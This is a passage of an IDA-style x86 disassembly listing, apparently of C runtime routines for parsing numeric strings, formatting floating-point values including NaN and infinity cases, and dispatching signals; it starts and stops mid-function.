call sub_4250CF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
push ebx
call sub_4250CF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_425071
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425151
xor edx, edx
pop edi
loc_42519E: ; CODE XREF: sub_42512A+21j
; sub_42512A+9Fj
cmp [ebx+8], edx
jnz short loc_4251CB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_42519E
; ---------------------------------------------------------------------------
loc_4251CB: ; CODE XREF: sub_42512A+77j
mov esi, 8000h
loc_4251D0: ; CODE XREF: sub_42512A+B9j
test [ebx+8], esi
jnz short loc_4251E5
push ebx
call sub_4250CF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_4251D0
; ---------------------------------------------------------------------------
loc_4251E5: ; CODE XREF: sub_42512A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42512A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251F1 proc near ; CODE XREF: sub_424518+17p
; sub_424545+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_42522C: ; CODE XREF: sub_4251F1+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425242
cmp cl, 9
jz short loc_425242
cmp cl, 0Ah
jz short loc_425242
cmp cl, 0Dh
jnz short loc_425245
loc_425242: ; CODE XREF: sub_4251F1+40j
; sub_4251F1+45j ...
inc edi
jmp short loc_42522C
; ---------------------------------------------------------------------------
loc_425245: ; CODE XREF: sub_4251F1+4Fj
push 4
pop esi
loc_425248: ; CODE XREF: sub_4251F1+AEj
; sub_4251F1+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_4254CB ; default
; jumptable 00425254 case 10
jmp off_425692[eax*4] ; switch jump
loc_42525B: ; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 0
jl short loc_42526C
cmp bl, 39h
jg short loc_42526C
loc_425265: ; CODE XREF: sub_4251F1+C4j
; sub_4251F1+118j
push 3
jmp loc_425489
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_4251F1+6Dj
; sub_4251F1+72j
cmp bl, byte_43CBE8
jnz short loc_42527B
loc_425274: ; CODE XREF: sub_4251F1+124j
push 5
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_42527B: ; CODE XREF: sub_4251F1+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_4252A1
dec eax
dec eax
jz short loc_425295
sub eax, 3
jnz loc_425564
jmp loc_425324
; ---------------------------------------------------------------------------
loc_425295: ; CODE XREF: sub_4251F1+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252A1: ; CODE XREF: sub_4251F1+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425248
; ---------------------------------------------------------------------------
loc_4252AA: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 1
mov [ebp+var_10], edx
jl short loc_4252B7
cmp bl, 39h
jle short loc_425265
loc_4252B7: ; CODE XREF: sub_4251F1+BFj
cmp bl, byte_43CBE8
jz loc_42537F
cmp bl, 2Bh
jz short loc_4252F9
cmp bl, 2Dh
jz short loc_4252F9
cmp bl, 30h
jz short loc_425324
loc_4252D2: ; CODE XREF: sub_4251F1+207j
cmp bl, 43h
jle loc_425564
cmp bl, 45h
jle short loc_4252F2
cmp bl, 63h
jle loc_425564
cmp bl, 65h
jg loc_425564
loc_4252F2: ; CODE XREF: sub_4251F1+EDj
push 6
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_4252F9: ; CODE XREF: sub_4251F1+D5j
; sub_4251F1+DAj ...
dec edi
push 0Bh
jmp loc_4254C1
; ---------------------------------------------------------------------------
loc_425301: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 2
jl short loc_42530F
cmp bl, 39h
jle loc_425265
loc_42530F: ; CODE XREF: sub_4251F1+113j
cmp bl, byte_43CBE8
jz loc_425274
cmp bl, 30h
jnz loc_4254D9
loc_425324: ; CODE XREF: sub_4251F1+9Fj
; sub_4251F1+DFj
mov eax, edx
jmp loc_425248
; ---------------------------------------------------------------------------
loc_42532B: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_10], edx ; jumptable 00425254 case 3
loc_42532E: ; CODE XREF: sub_4251F1+184j
cmp dword_43CBE4, edx
jle short loc_425347
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425355
; ---------------------------------------------------------------------------
loc_425347: ; CODE XREF: sub_4251F1+143j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425355: ; CODE XREF: sub_4251F1+154j
test eax, eax
jz short loc_425377
cmp [ebp+var_4], 19h
jnb short loc_42536F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425372
; ---------------------------------------------------------------------------
loc_42536F: ; CODE XREF: sub_4251F1+16Cj
inc [ebp+var_8]
loc_425372: ; CODE XREF: sub_4251F1+17Cj
mov bl, [edi]
inc edi
jmp short loc_42532E
; ---------------------------------------------------------------------------
loc_425377: ; CODE XREF: sub_4251F1+166j
cmp bl, byte_43CBE8
jnz short loc_4253E6
loc_42537F: ; CODE XREF: sub_4251F1+CCj
mov eax, esi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425386: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+var_4], 0 ; jumptable 00425254 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_42539F
loc_425392: ; CODE XREF: sub_4251F1+1ACj
cmp bl, 30h
jnz short loc_42539F
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425392
; ---------------------------------------------------------------------------
loc_42539F: ; CODE XREF: sub_4251F1+19Fj
; sub_4251F1+1A4j ...
cmp dword_43CBE4, edx
jle short loc_4253B8
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_4253C6
; ---------------------------------------------------------------------------
loc_4253B8: ; CODE XREF: sub_4251F1+1B4j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_4253C6: ; CODE XREF: sub_4251F1+1C5j
test eax, eax
jz short loc_4253E6
cmp [ebp+var_4], 19h
jnb short loc_4253E1
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
dec [ebp+var_8]
mov [eax], bl
loc_4253E1: ; CODE XREF: sub_4251F1+1DDj
mov bl, [edi]
inc edi
jmp short loc_42539F
; ---------------------------------------------------------------------------
loc_4253E6: ; CODE XREF: sub_4251F1+18Cj
; sub_4251F1+1D7j
cmp bl, 2Bh
jz loc_4252F9
cmp bl, 2Dh
jz loc_4252F9
jmp loc_4252D2
; ---------------------------------------------------------------------------
loc_4253FD: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp dword_43CBE4, edx ; jumptable 00425254 case 5
mov [ebp+var_24], edx
jle short loc_425419
movzx eax, bl
push esi
push eax
call sub_41F515
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425427
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_4251F1+215j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425427: ; CODE XREF: sub_4251F1+226j
test eax, eax
jz loc_4254D9
mov eax, esi
jmp short loc_42548A
; ---------------------------------------------------------------------------
loc_425433: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
lea ecx, [edi-2] ; jumptable 00425254 case 6
cmp bl, 31h
mov [ebp+arg_8], ecx
jl short loc_425443
cmp bl, 39h
jle short loc_425487
loc_425443: ; CODE XREF: sub_4251F1+24Bj
movsx eax, bl
sub eax, 2Bh
jz short loc_4254BF
dec eax
dec eax
jz short loc_4254B3
sub eax, 3
jnz loc_425567
loc_425458: ; CODE XREF: sub_4251F1+2A4j
push 8
jmp short loc_4254C1
; ---------------------------------------------------------------------------
loc_42545C: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], edx ; jumptable 00425254 case 8
loc_42545F: ; CODE XREF: sub_4251F1+276j
cmp bl, 30h
jnz short loc_425469
mov bl, [edi]
inc edi
jmp short loc_42545F
; ---------------------------------------------------------------------------
loc_425469: ; CODE XREF: sub_4251F1+271j
cmp bl, 31h
jl loc_425564
cmp bl, 39h
jg loc_425564
jmp short loc_425487
; ---------------------------------------------------------------------------
loc_42547D: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp bl, 31h ; jumptable 00425254 case 7
jl short loc_425490
cmp bl, 39h
jg short loc_425490
loc_425487: ; CODE XREF: sub_4251F1+250j
; sub_4251F1+28Aj
push 9
loc_425489: ; CODE XREF: sub_4251F1+76j
pop eax
loc_42548A: ; CODE XREF: sub_4251F1+240j
dec edi
jmp loc_425248
; ---------------------------------------------------------------------------
loc_425490: ; CODE XREF: sub_4251F1+28Fj
; sub_4251F1+294j
cmp bl, 30h
jnz short loc_4254D9
jmp short loc_425458
; ---------------------------------------------------------------------------
loc_425497: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11
jz short loc_4254C7
movsx eax, bl
lea ecx, [edi-1]
sub eax, 2Bh
mov [ebp+arg_8], ecx
jz short loc_4254BF
dec eax
dec eax
jnz loc_425567
loc_4254B3: ; CODE XREF: sub_4251F1+25Cj
or [ebp+var_18], 0FFFFFFFFh
push 7
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254BF: ; CODE XREF: sub_4251F1+258j
; sub_4251F1+2B8j
push 7
loc_4254C1: ; CODE XREF: sub_4251F1+85j
; sub_4251F1+103j ...
pop eax
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254C7: ; CODE XREF: sub_4251F1+2AAj
push 0Ah
dec edi
pop eax
loc_4254CB: ; CODE XREF: sub_4251F1+5Dj
; sub_4251F1+63j
; DATA XREF: ...
cmp eax, 0Ah ; default
; jumptable 00425254 case 10
jz loc_425569
jmp loc_425248
; ---------------------------------------------------------------------------
loc_4254D9: ; CODE XREF: sub_4251F1+12Dj
; sub_4251F1+238j ...
mov edi, [ebp+arg_8]
jmp loc_425569
; ---------------------------------------------------------------------------
loc_4254E1: ; CODE XREF: sub_4251F1+63j
; DATA XREF: ___:off_425692o
mov [ebp+var_20], 1 ; jumptable 00425254 case 9
xor esi, esi
loc_4254EA: ; CODE XREF: sub_4251F1+339j
cmp dword_43CBE4, 1
jle short loc_425502
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_425511
; ---------------------------------------------------------------------------
loc_425502: ; CODE XREF: sub_4251F1+300j
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_425511: ; CODE XREF: sub_4251F1+30Fj
test eax, eax
jz short loc_425531
movsx ecx, bl
lea eax, [esi+esi*4]
lea esi, [ecx+eax*2-30h]
cmp esi, 1450h
jg short loc_42552C
mov bl, [edi]
inc edi
jmp short loc_4254EA
; ---------------------------------------------------------------------------
loc_42552C: ; CODE XREF: sub_4251F1+334j
mov esi, 1451h
loc_425531: ; CODE XREF: sub_4251F1+322j
mov [ebp+var_1C], esi
loc_425534: ; CODE XREF: sub_4251F1+371j
cmp dword_43CBE4, 1
jle short loc_42554C
movzx eax, bl
push 4
push eax
call sub_41F515
pop ecx
pop ecx
jmp short loc_42555B
; ---------------------------------------------------------------------------
loc_42554C: ; CODE XREF: sub_4251F1+34Aj
mov ecx, off_43C9D8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_42555B: ; CODE XREF: sub_4251F1+359j
test eax, eax
jz short loc_425564
mov bl, [edi]
inc edi
jmp short loc_425534
; ---------------------------------------------------------------------------
loc_425564: ; CODE XREF: sub_4251F1+99j
; sub_4251F1+E4j ...
dec edi
jmp short loc_425569
; ---------------------------------------------------------------------------
loc_425567: ; CODE XREF: sub_4251F1+261j
; sub_4251F1+2BCj
mov edi, ecx
loc_425569: ; CODE XREF: sub_4251F1+2DDj
; sub_4251F1+2EBj ...
mov eax, [ebp+arg_4]
cmp [ebp+var_10], 0
mov [eax], edi
jz loc_425651
push 18h
pop eax
cmp [ebp+var_4], eax
jbe short loc_425595
cmp [ebp+var_45], 5
jl short loc_425589
inc [ebp+var_45]
loc_425589: ; CODE XREF: sub_4251F1+393j
mov [ebp+var_4], eax
mov eax, [ebp+var_C]
dec eax
inc [ebp+var_8]
jmp short loc_425598
; ---------------------------------------------------------------------------
loc_425595: ; CODE XREF: sub_4251F1+38Dj
mov eax, [ebp+var_C]
loc_425598: ; CODE XREF: sub_4251F1+3A2j
cmp [ebp+var_4], 0
jbe loc_425647
loc_4255A2: ; CODE XREF: sub_4251F1+3BDj
dec eax
cmp byte ptr [eax], 0
jnz short loc_4255B0
dec [ebp+var_4]
inc [ebp+var_8]
jmp short loc_4255A2
; ---------------------------------------------------------------------------
loc_4255B0: ; CODE XREF: sub_4251F1+3B5j
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_5C]
push [ebp+var_4]
push eax
call sub_42512A
mov eax, [ebp+var_1C]
xor ecx, ecx
add esp, 0Ch
cmp [ebp+var_18], ecx
jge short loc_4255CF
neg eax
loc_4255CF: ; CODE XREF: sub_4251F1+3DAj
add eax, [ebp+var_8]
cmp [ebp+var_20], ecx
jnz short loc_4255DA
add eax, [ebp+arg_10]
loc_4255DA: ; CODE XREF: sub_4251F1+3E4j
cmp [ebp+var_24], ecx
jnz short loc_4255E2
sub eax, [ebp+arg_14]
loc_4255E2: ; CODE XREF: sub_4251F1+3ECj
cmp eax, 1450h
jle short loc_425619
mov [ebp+var_2C], 1
loc_4255F0: ; CODE XREF: sub_4251F1+436j
mov ebx, [ebp+arg_8]
mov esi, [ebp+arg_8]
mov eax, [ebp+arg_8]
mov edx, [ebp+arg_8]
loc_4255FC: ; CODE XREF: sub_4251F1+454j
; sub_4251F1+45Ej
cmp [ebp+var_2C], 0
jz short loc_425662
xor ebx, ebx
mov eax, 7FFFh
mov esi, 80000000h
xor edx, edx
mov [ebp+var_14], 2
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425619: ; CODE XREF: sub_4251F1+3F6j
cmp eax, 0FFFFEBB0h
jge short loc_425629
mov [ebp+var_30], 1
jmp short loc_4255F0
; ---------------------------------------------------------------------------
loc_425629: ; CODE XREF: sub_4251F1+42Dj
push [ebp+arg_C]
push eax
lea eax, [ebp+var_40]
push eax
call sub_425DDA
mov edx, [ebp+var_40]
mov ebx, [ebp+var_40+2]
mov esi, [ebp+var_3A]
mov eax, [ebp+var_36]
add esp, 0Ch
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425647: ; CODE XREF: sub_4251F1+3ABj
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
jmp short loc_4255FC
; ---------------------------------------------------------------------------
loc_425651: ; CODE XREF: sub_4251F1+381j
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 4
jmp short loc_425677
; ---------------------------------------------------------------------------
loc_425662: ; CODE XREF: sub_4251F1+40Fj
cmp [ebp+var_30], 0
jz short loc_425677
xor edx, edx
xor eax, eax
xor esi, esi
xor ebx, ebx
mov [ebp+var_14], 1
loc_425677: ; CODE XREF: sub_4251F1+426j
; sub_4251F1+46Fj ...
mov ecx, [ebp+arg_0]
or eax, [ebp+var_28]
pop edi
mov [ecx+6], esi
mov [ecx+2], ebx
mov [ecx+0Ah], ax
mov eax, [ebp+var_14]
pop esi
mov [ecx], dx
pop ebx
leave
retn
sub_4251F1 endp
; ---------------------------------------------------------------------------
off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r
dd offset loc_4252AA ; jump table for switch statement
dd offset loc_425301
dd offset loc_42532B
dd offset loc_425386
dd offset loc_4253FD
dd offset loc_425433
dd offset loc_42547D
dd offset loc_42545C
dd offset loc_4254E1
dd offset loc_4254CB
dd offset loc_425497
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp
var_1C = byte ptr -1Ch
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = word ptr -10h
var_E = dword ptr -0Eh
var_A = dword ptr -0Ah
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_14]
push esi
mov ecx, eax
mov esi, 7FFFh
and ecx, 8000h
and eax, esi
test cx, cx
push edi
mov [ebp+var_1C], 0CCh
mov [ebp+var_1B], 0CCh
mov [ebp+var_1A], 0CCh
mov [ebp+var_19], 0CCh
mov [ebp+var_18], 0CCh
mov [ebp+var_17], 0CCh
mov [ebp+var_16], 0CCh
mov [ebp+var_15], 0CCh
mov [ebp+var_14], 0CCh
mov [ebp+var_13], 0CCh
mov [ebp+var_12], 0FBh
mov [ebp+var_11], 3Fh
mov [ebp+var_4], 1
mov edx, eax
jz short loc_425724
mov byte ptr [ebx+2], 2Dh
jmp short loc_425728
; ---------------------------------------------------------------------------
loc_425724: ; CODE XREF: sub_4256C2+5Aj
mov byte ptr [ebx+2], 20h
loc_425728: ; CODE XREF: sub_4256C2+60j
mov edi, [ebp+arg_4]
test dx, dx
jnz short loc_42574E
test edi, edi
jnz short loc_42574E
cmp [ebp+arg_0], edi
jnz short loc_42574E
loc_425739: ; CODE XREF: sub_4256C2+181j
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ebx+4], 30h
jmp loc_42594C
; ---------------------------------------------------------------------------
loc_42574E: ; CODE XREF: sub_4256C2+6Cj
; sub_4256C2+70j ...
cmp dx, si
jnz short loc_4257CD
mov eax, 80000000h
mov word ptr [ebx], 1
cmp edi, eax
jnz short loc_425767
cmp [ebp+arg_0], 0
jz short loc_425776
loc_425767: ; CODE XREF: sub_4256C2+9Dj
test edi, 40000000h
jnz short loc_425776
push offset a1Snan ; "1#SNAN"
jmp short loc_4257BC
; ---------------------------------------------------------------------------
loc_425776: ; CODE XREF: sub_4256C2+A3j
; sub_4256C2+ABj
test cx, cx
jz short loc_425790
cmp edi, 0C0000000h
jnz short loc_425790
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Ind ; "1#IND"
jmp short loc_42579F
; ---------------------------------------------------------------------------
loc_425790: ; CODE XREF: sub_4256C2+B7j
; sub_4256C2+BFj
cmp edi, eax
jnz short loc_4257B7
cmp [ebp+arg_0], 0
jnz short loc_4257B7
push offset a1Inf ; "1#INF"
loc_42579F: ; CODE XREF: sub_4256C2+CCj
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 5
pop ecx
loc_4257AE: ; CODE XREF: sub_4256C2+109j
and [ebp+var_4], 0
jmp loc_425925
; ---------------------------------------------------------------------------
loc_4257B7: ; CODE XREF: sub_4256C2+C5j
; sub_4256C2+D0j ...
push offset a1Qnan ; "1#QNAN"
loc_4257BC: ; CODE XREF: sub_4256C2+B2j
lea eax, [ebx+4]
push eax
call sub_41BEB0
pop ecx
mov byte ptr [ebx+3], 6
pop ecx
jmp short loc_4257AE
; ---------------------------------------------------------------------------
loc_4257CD: ; CODE XREF: sub_4256C2+8Fj
movzx eax, dx
mov ecx, edi
mov esi, eax
shr ecx, 18h
imul eax, 4D10h
shr esi, 8
and [ebp+var_10], 0
push 1
lea ecx, [esi+ecx*2]
mov [ebp+var_6], dx
imul ecx, 4Dh
mov [ebp+var_A], edi
lea esi, [ecx+eax-134312F4h]
mov eax, [ebp+arg_0]
sar esi, 10h
mov [ebp+var_E], eax
movsx eax, si
neg eax
push eax
lea eax, [ebp+var_10]
push eax
call sub_425DDA
add esp, 0Ch
cmp [ebp+var_6], 3FFFh
jb short loc_42582E
lea eax, [ebp+var_1C]
inc esi
push eax
lea eax, [ebp+var_10]
push eax
call sub_425BBA
pop ecx
pop ecx
loc_42582E: ; CODE XREF: sub_4256C2+15Aj
test [ebp+arg_10], 1
mov [ebx], si
jz short loc_425848
mov edi, [ebp+arg_C]
movsx eax, si
add edi, eax
test edi, edi
jg short loc_42584B
jmp loc_425739
; ---------------------------------------------------------------------------
loc_425848: ; CODE XREF: sub_4256C2+173j
mov edi, [ebp+arg_C]
loc_42584B: ; CODE XREF: sub_4256C2+17Fj
cmp edi, 15h
jle short loc_425853
push 15h
pop edi
loc_425853: ; CODE XREF: sub_4256C2+18Cj
movzx esi, [ebp+var_6]
sub esi, 3FFEh
and [ebp+var_6], 0
mov [ebp+arg_14], 8
loc_425869: ; CODE XREF: sub_4256C2+1B4j
lea eax, [ebp+var_10]
push eax
call sub_4250CF
dec [ebp+arg_14]
pop ecx
jnz short loc_425869
test esi, esi
jge short loc_425893
neg esi
and esi, 0FFh
jle short loc_425893
loc_425886: ; CODE XREF: sub_4256C2+1CFj
lea eax, [ebp+var_10]
push eax
call sub_4250FD
dec esi
pop ecx
jnz short loc_425886
loc_425893: ; CODE XREF: sub_4256C2+1B8j
; sub_4256C2+1C2j
lea ecx, [edi+1]
lea eax, [ebx+4]
test ecx, ecx
mov [ebp+arg_14], eax
jle short loc_4258F0
mov [ebp+arg_C], ecx
loc_4258A3: ; CODE XREF: sub_4256C2+229j
lea esi, [ebp+var_10]
lea edi, [ebp+arg_0]
movsd
movsd
lea eax, [ebp+var_10]
push eax
movsd
call sub_4250CF
lea eax, [ebp+var_10]
push eax
call sub_4250CF
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_10]
push eax
call sub_425071
lea eax, [ebp+var_10]
push eax
call sub_4250CF
mov al, byte ptr [ebp+var_6+1]
mov ecx, [ebp+arg_14]
and byte ptr [ebp+var_6+1], 0
add esp, 14h
add al, 30h
inc [ebp+arg_14]
dec [ebp+arg_C]
mov [ecx], al
jnz short loc_4258A3
mov eax, [ebp+arg_14]
loc_4258F0: ; CODE XREF: sub_4256C2+1DCj
mov cl, [eax-1]
dec eax
dec eax
cmp cl, 35h
lea ecx, [ebx+4]
jl short loc_42592D
loc_4258FD: ; CODE XREF: sub_4256C2+248j
cmp eax, ecx
jb short loc_425910
cmp byte ptr [eax], 39h
jnz short loc_42590C
mov byte ptr [eax], 30h
dec eax
jmp short loc_4258FD
; ---------------------------------------------------------------------------
loc_42590C: ; CODE XREF: sub_4256C2+242j
cmp eax, ecx
jnb short loc_425914
loc_425910: ; CODE XREF: sub_4256C2+23Dj
inc eax
inc word ptr [ebx]
loc_425914: ; CODE XREF: sub_4256C2+24Cj
inc byte ptr [eax]
loc_425916: ; CODE XREF: sub_4256C2+279j
sub al, bl
sub al, 3
mov [ebx+3], al
movsx eax, al
and byte ptr [eax+ebx+4], 0
loc_425925: ; CODE XREF: sub_4256C2+F0j
mov eax, [ebp+var_4]
loc_425928: ; CODE XREF: sub_4256C2+291j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42592D: ; CODE XREF: sub_4256C2+239j
; sub_4256C2+275j
cmp eax, ecx
jb short loc_42593D
cmp byte ptr [eax], 30h
jnz short loc_425939
dec eax
jmp short loc_42592D
; ---------------------------------------------------------------------------
loc_425939: ; CODE XREF: sub_4256C2+272j
cmp eax, ecx
jnb short loc_425916
loc_42593D: ; CODE XREF: sub_4256C2+26Dj
and word ptr [ebx], 0
mov byte ptr [ebx+2], 20h
mov byte ptr [ebx+3], 1
mov byte ptr [ecx], 30h
loc_42594C: ; CODE XREF: sub_4256C2+87j
and byte ptr [ebx+5], 0
push 1
pop eax
jmp short loc_425928
sub_4256C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425955 proc near ; CODE XREF: sub_42255C+226Dp
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, edi
dec eax
dec eax
jz short loc_4259BC
dec eax
dec eax
jz short loc_4259AD
sub eax, 4
jz short loc_4259AD
sub eax, 3
jz short loc_4259AD
sub eax, 4
jz short loc_4259A0
sub eax, 6
jz short loc_425993
dec eax
jz short loc_425986
or eax, 0FFFFFFFFh
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_425986: ; CODE XREF: sub_425955+27j
mov esi, dword_4DBC5C
mov eax, offset dword_4DBC5C
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_425993: ; CODE XREF: sub_425955+24j
mov esi, dword_4DBC58
mov eax, offset dword_4DBC58
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259A0: ; CODE XREF: sub_425955+1Fj
mov esi, dword_4DBC60
mov eax, offset dword_4DBC60
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259AD: ; CODE XREF: sub_425955+10j
; sub_425955+15j ...
push edi
call sub_425A82
mov esi, [eax+8]
add eax, 8
pop ecx
jmp short loc_4259C7
; ---------------------------------------------------------------------------
loc_4259BC: ; CODE XREF: sub_425955+Cj
mov esi, dword_4DBC54
mov eax, offset dword_4DBC54
loc_4259C7: ; CODE XREF: sub_425955+3Cj
; sub_425955+49j ...
cmp esi, 1
jnz short loc_4259D3
xor eax, eax
jmp loc_425A7E
; ---------------------------------------------------------------------------
loc_4259D3: ; CODE XREF: sub_425955+75j
test esi, esi
jnz short loc_4259DE
push 3
call sub_41B7C2
loc_4259DE: ; CODE XREF: sub_425955+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_4259F0
cmp edi, 0Bh
jz short loc_4259F0
cmp edi, 4
jnz short loc_425A16
loc_4259F0: ; CODE XREF: sub_425955+8Fj
; sub_425955+94j
mov ebx, dword_4DBA30
and dword_4DBA30, 0
cmp edi, ecx
jnz short loc_425A45
mov edx, dword_43D02C
mov dword_43D02C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_425A19
; ---------------------------------------------------------------------------
loc_425A16: ; CODE XREF: sub_425955+99j
mov ebx, [ebp+arg_0]
loc_425A19: ; CODE XREF: sub_425955+BFj
cmp edi, ecx
jnz short loc_425A45
mov eax, dword_43D020
mov ecx, dword_43D024
add ecx, eax
cmp eax, ecx
jge short loc_425A4C
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43CFB0h[edx*4]
loc_425A3A: ; CODE XREF: sub_425955+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_425A3A
jmp short loc_425A4C
; ---------------------------------------------------------------------------
loc_425A45: ; CODE XREF: sub_425955+AAj
; sub_425955+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_425A5A
loc_425A4C: ; CODE XREF: sub_425955+D7j
; sub_425955+EEj
push dword_43D02C
push 8
call esi
pop ecx
pop ecx
jmp short loc_425A68
; ---------------------------------------------------------------------------
loc_425A5A: ; CODE XREF: sub_425955+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_425A68
cmp edi, 4
jnz short loc_425A7B
loc_425A68: ; CODE XREF: sub_425955+103j
; sub_425955+10Cj
cmp edi, 8
mov dword_4DBA30, ebx
jnz short loc_425A7B
mov eax, [ebp+arg_0]
mov dword_43D02C, eax
loc_425A7B: ; CODE XREF: sub_425955+111j
; sub_425955+11Cj
xor eax, eax
pop ebx
loc_425A7E: ; CODE XREF: sub_425955+2Cj
